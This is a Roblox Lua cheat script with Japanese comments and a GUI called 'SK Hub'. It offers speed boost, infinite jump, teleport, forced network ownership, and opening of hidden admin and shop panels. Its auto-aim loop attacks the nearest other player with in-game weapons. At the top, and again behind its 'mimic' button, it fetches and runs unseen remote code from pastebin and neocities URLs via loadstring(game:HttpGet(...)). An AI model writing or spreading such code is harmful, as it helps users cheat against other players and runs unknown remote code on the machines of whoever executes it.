-- TOTOブスloadstring(game:HttpGet("https://pastebin.com/raw/bApXQPCr"))() -- ====================================================== -- CONFIG(調整はここだけ) -- ====================================================== local CONFIG = { BOOST = { WALK_SPEED = 36, -- 固定速度 JUMP_VELOCITY = 100, -- 固定ジャンプ力 }, BOOST_FORCE = { SPEED = 55, ACCEL = 10, -- 1 = 即反映(0.5とかにすると滑らか) } } -- ====================================================== -- Services -- ====================================================== local Players = game:GetService("Players") local UIS = game:GetService("UserInputService") local RunService = game:GetService("RunService") local RepStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local Net = require(game:GetService("ReplicatedStorage"):WaitForChild("Packages").Net) -- ====================================================== -- 二重起動防止 -- ====================================================== local oldGui = playerGui:FindFirstChild("SKHub") if oldGui then oldGui:Destroy() end -- ====================================================== -- GUI作成 -- ====================================================== local gui = Instance.new("ScreenGui") gui.Name = "SKHub" gui.ResetOnSpawn = false gui.Parent = playerGui local main = Instance.new("Frame") main.Size = UDim2.new(0.3,0,0.6,0) main.Position = UDim2.new(0.5,0,0.5,0) main.AnchorPoint = Vector2.new(0.5,0.5) main.BackgroundColor3 = Color3.fromRGB(15,15,15) main.BorderSizePixel = 0 main.Active = true main.Parent = gui Instance.new("UICorner", main).CornerRadius = UDim.new(0,10) local title = Instance.new("TextLabel") title.Size = UDim2.new(1,-40,0.08,0) title.Position = UDim2.new(0,0,0,0) title.BackgroundTransparency = 1 title.Text = "SK Hub" title.Font = Enum.Font.GothamBold title.TextScaled = true title.TextColor3 = Color3.new(1,1,1) title.Active = true title.Selectable = true title.Parent = main local minBtn = Instance.new("TextButton") minBtn.Size = UDim2.new(0,30,0,30) minBtn.Position = UDim2.new(1,-35,0,5) minBtn.Text = "-" minBtn.Font = Enum.Font.GothamBold minBtn.TextSize = 18 minBtn.BackgroundColor3 = Color3.fromRGB(50,50,50) minBtn.TextColor3 = Color3.new(1,1,1) minBtn.Active = true minBtn.Parent = main Instance.new("UICorner", minBtn).CornerRadius = UDim.new(0,5) local scrollFrame = Instance.new("ScrollingFrame") scrollFrame.Size = UDim2.new(1,-20,0.92,-10) scrollFrame.Position = UDim2.new(0,10,0.08,5) scrollFrame.ScrollBarThickness = 8 scrollFrame.CanvasSize = UDim2.new(0,0,0,0) scrollFrame.Active = true scrollFrame.BackgroundTransparency = 1 scrollFrame.Parent = main local layout = Instance.new("UIListLayout") layout.Padding = UDim.new(0.02,0) layout.Parent = scrollFrame layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() scrollFrame.CanvasSize = UDim2.new(0,0,0,layout.AbsoluteContentSize.Y + 10) end) -- ====================================================== -- Drag機能 -- ====================================================== do local dragging = false local dragStart, startPos local function beginDrag(input) dragging = true dragStart = input.Position startPos = main.Position end title.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then beginDrag(input) end end) UIS.InputChanged:Connect(function(input) if dragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then local delta = input.Position - dragStart main.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) UIS.InputEnded:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = false end end) end -- ====================================================== -- Minimize(最小化ボタンのみ表示) -- ====================================================== local minimized = false minBtn.MouseButton1Click:Connect(function() minimized = not minimized scrollFrame.Visible = not minimized -- 最小化時はフレームのサイズも縮めてボタンのみ表示 main.Size = minimized and UDim2.new(0.08,0,0.08,0) or UDim2.new(0.3,0,0.6,0) end) -- ====================================================== -- Button作成関数 -- ====================================================== local function button(text) local b = Instance.new("TextButton") b.Size = UDim2.new(1,0,0,40) b.BackgroundColor3 = Color3.fromRGB(30,30,30) b.Text = text b.Font = Enum.Font.Gotham b.TextScaled = true b.TextColor3 = Color3.new(1,1,1) b.Active = true b.AutoButtonColor = true b.Parent = scrollFrame Instance.new("UICorner", b).CornerRadius = UDim.new(0,6) return b end -- ====================================================== -- ボタン作成 -- ====================================================== local buttons = {} buttons.shop = button("Item Shop") buttons.admin = button("Admin Panel") buttons.setTP = button("TP SET") buttons.tp = button("TP") buttons.mimic = button("擬態 : OFF") buttons.infjump = button("無限ジャンプ : OFF") buttons.noMotion = button("No Motion : OFF") buttons.floor = button("Floor : OFF") buttons.friendToggle = button("フレンドトグル : OFF") buttons.boost = button("BOOST : OFF") buttons.autoBat = button("Auto Aim : OFF") buttons.sentry = button("Sentry") -- ====================================================== -- Item Shop / Admin -- ====================================================== buttons.shop.MouseButton1Click:Connect(function() if RepStorage:FindFirstChild("Controllers") and RepStorage.Controllers:FindFirstChild("InterfaceController") then RepStorage.Controllers.InterfaceController.Toggle:Fire("CoinsShop", false) end end) buttons.admin.MouseButton1Click:Connect(function() if RepStorage:FindFirstChild("Controllers") and RepStorage.Controllers:FindFirstChild("InterfaceController") then RepStorage.Controllers.InterfaceController.Toggle:Fire("AdminPanel", false) end end) -- ====================================================== -- TP設定 -- ====================================================== local savedCF buttons.setTP.MouseButton1Click:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if hrp then savedCF = hrp.CFrame end end) buttons.tp.MouseButton1Click:Connect(function() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if hrp and savedCF then hrp.CFrame = savedCF end end) -- ====================================================== -- Mimic -- ====================================================== local mimicActive = false buttons.mimic.MouseButton1Click:Connect(function() if mimicActive then return end mimicActive = true buttons.mimic.Text = "擬態 : ON" buttons.mimic.Active = false buttons.mimic.AutoButtonColor = false loadstring(game:HttpGet("https://s-k.neocities.org/decync"))() end) -- ====================================================== -- Infinite Jump -- ====================================================== local infJump = false local infFloor buttons.infjump.MouseButton1Click:Connect(function() infJump = not infJump buttons.infjump.Text = "無限ジャンプ : " .. (infJump and "ON" or "OFF") if infJump then infFloor = Instance.new("Part", workspace) infFloor.Size = Vector3.new(12,1,12) infFloor.Anchored = true infFloor.CanCollide = true infFloor.Transparency = 1 else if infFloor then infFloor:Destroy() end end end) -- ====================================================== -- Floor -- ====================================================== local floorActive = false local floorPart buttons.floor.MouseButton1Click:Connect(function() floorActive = not floorActive buttons.floor.Text = "Floor : " .. (floorActive and "ON" or "OFF") if floorActive then floorPart = Instance.new("Part", workspace) floorPart.Size = Vector3.new(10,1,10) floorPart.Anchored = true floorPart.Transparency = 0.5 floorPart.Color = Color3.fromRGB(100,100,255) else if floorPart then floorPart:Destroy() end end end) -- ====================================================== -- No Motion -- ====================================================== local motionDisabled = false local function stopAnimations(char) local hum = char:FindFirstChildOfClass("Humanoid") if hum then for _,track in pairs(hum:GetPlayingAnimationTracks()) do track:Stop() end end end buttons.noMotion.MouseButton1Click:Connect(function() motionDisabled = not motionDisabled buttons.noMotion.Text = "No Motion : " .. (motionDisabled and "ON" or "OFF") end) -- ====================================================== -- Friend Toggle -- ====================================================== local friendActive = false buttons.friendToggle.MouseButton1Click:Connect(function() friendActive = not friendActive buttons.friendToggle.Text = "フレンドトグル : " .. (friendActive and "ON" or "OFF") if RepStorage:FindFirstChild("Packages") and RepStorage.Packages:FindFirstChild("Net") then local toggleFunc = RepStorage.Packages.Net:FindFirstChild("RE/PlotService/ToggleFriends") if toggleFunc then toggleFunc:FireServer() end end end) -- ====================================================== -- BOOST / Phase(貫通)統合 -- ====================================================== local boosting = false buttons.boost.MouseButton1Click:Connect(function() boosting = not boosting buttons.boost.Text = "BOOST : " .. (boosting and "ON" or "OFF") end) -- ====================================================== -- RenderStepped メインループ -- ====================================================== RunService.RenderStepped:Connect(function() local char = player.Character if not char then return end local hrp = char:FindFirstChild("HumanoidRootPart") local hum = char:FindFirstChildOfClass("Humanoid") if not hrp or not hum then return end -- Infinite Jump / Floor / No Motion if infJump and infFloor then infFloor.CFrame = hrp.CFrame * CFrame.new(0,-3.6,0) end if floorActive and floorPart then floorPart.CFrame = hrp.CFrame * CFrame.new(0,-3.5,0) end if motionDisabled then stopAnimations(char) end -- ========================= -- 最強BOOST -- ========================= if boosting then -- Network Ownership 固定(最重要) pcall(function() hrp:SetNetworkOwner(player) end) if not boostLV then boostAtt = Instance.new("Attachment") boostAtt.Parent = hrp boostLV = Instance.new("LinearVelocity") boostLV.Attachment0 = boostAtt boostLV.MaxForce = math.huge boostLV.RelativeTo = Enum.ActuatorRelativeTo.World boostLV.Parent = hrp end local dir = hum.MoveDirection if dir.Magnitude > 0 then boostLV.VectorVelocity = dir.Unit * CONFIG.BOOST.WALK_SPEED + Vector3.new(0, hrp.AssemblyLinearVelocity.Y, 0) else boostLV.VectorVelocity = Vector3.zero end else if boostLV then boostLV:Destroy() boostLV = nil end if boostAtt then boostAtt:Destroy() boostAtt = nil end end end) -- ====================================================== -- CharacterAdded -- ====================================================== player.CharacterAdded:Connect(function(char) if motionDisabled then task.wait(0.2) stopAnimations(char) end if boosting then local hum = char:WaitForChild("Humanoid") hum.WalkSpeed = CONFIG.BOOST.WALK_SPEED end end) -- ====================================================== -- Sentry(Backpackのみ探索・安全版) -- ====================================================== local Players = game:GetService("Players") local player = Players.LocalPlayer local function findTool(toolName) local backpack = player:WaitForChild("Backpack") return backpack:FindFirstChild(toolName) end local function equipOnly(tool) if not tool then return end local char = player.Character or player.CharacterAdded:Wait() local backpack = player:WaitForChild("Backpack") -- 他のツールを全て外す for _, v in ipairs(char:GetChildren()) do if v:IsA("Tool") then v.Parent = backpack end end tool.Parent = char end buttons.sentry.MouseButton1Click:Connect(function() local sentry = findTool("All Seeing Sentry") if not sentry then return end equipOnly(sentry) task.wait(0.1) pcall(function() Net:RemoteEvent("UseItem"):FireServer() end) end) -- ====================================================== -- Auto Aim -- ====================================================== local autoAim = false local autoAimTask local medusaCooldown = 5 local lastMedusaUse = 0 local function findTool(toolName) local char = player.Character if char then local tool = char:FindFirstChild(toolName) if tool then return tool end end local backpack = player:FindFirstChild("Backpack") if backpack then return backpack:FindFirstChild(toolName) end return nil end local function equipOnly(tool) if not tool then return end local char = player.Character local backpack = player:FindFirstChild("Backpack") if not char or not backpack then return end for _, v in ipairs(char:GetChildren()) do if v:IsA("Tool") and v ~= tool then v.Parent = backpack end end tool.Parent = char end local function getClosestPlayer() local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart") if not hrp then return nil, nil end local closest, closestDist for _, plr in ipairs(Players:GetPlayers()) do if plr ~= player and plr.Character then local phrp = plr.Character:FindFirstChild("HumanoidRootPart") local hum = plr.Character:FindFirstChildOfClass("Humanoid") if phrp and hum and hum.Health > 0 then local dist = (phrp.Position - hrp.Position).Magnitude if not closestDist or dist < closestDist then closest = phrp closestDist = dist end end end end return closest, closestDist end local function faceTarget(hrp, targetHRP) local lookPos = Vector3.new( targetHRP.Position.X, hrp.Position.Y, targetHRP.Position.Z ) hrp.CFrame = CFrame.new(hrp.Position, lookPos) end buttons.autoBat.MouseButton1Click:Connect(function() autoAim = not autoAim buttons.autoBat.Text = "Auto Aim : " .. (autoAim and "ON" or "OFF") if autoAim then autoAimTask = task.spawn(function() while autoAim do local char = player.Character local hrp = char and char:FindFirstChild("HumanoidRootPart") if hrp then local now = tick() local target, dist = getClosestPlayer() if target then faceTarget(hrp, target) local medusa = findTool("Medusa's Head") if dist <= 10 and medusa and (now - lastMedusaUse >= medusaCooldown) then equipOnly(medusa) pcall(function() Net:RemoteEvent("UseItem"):FireServer() end) lastMedusaUse = now elseif dist <= 5 then local bat = findTool("Bat") if bat then equipOnly(bat) pcall(function() Net:RemoteEvent("UseItem"):FireServer() end) end end end end task.wait(0.15) end end) else if autoAimTask then task.cancel(autoAimTask) autoAimTask = nil end end end)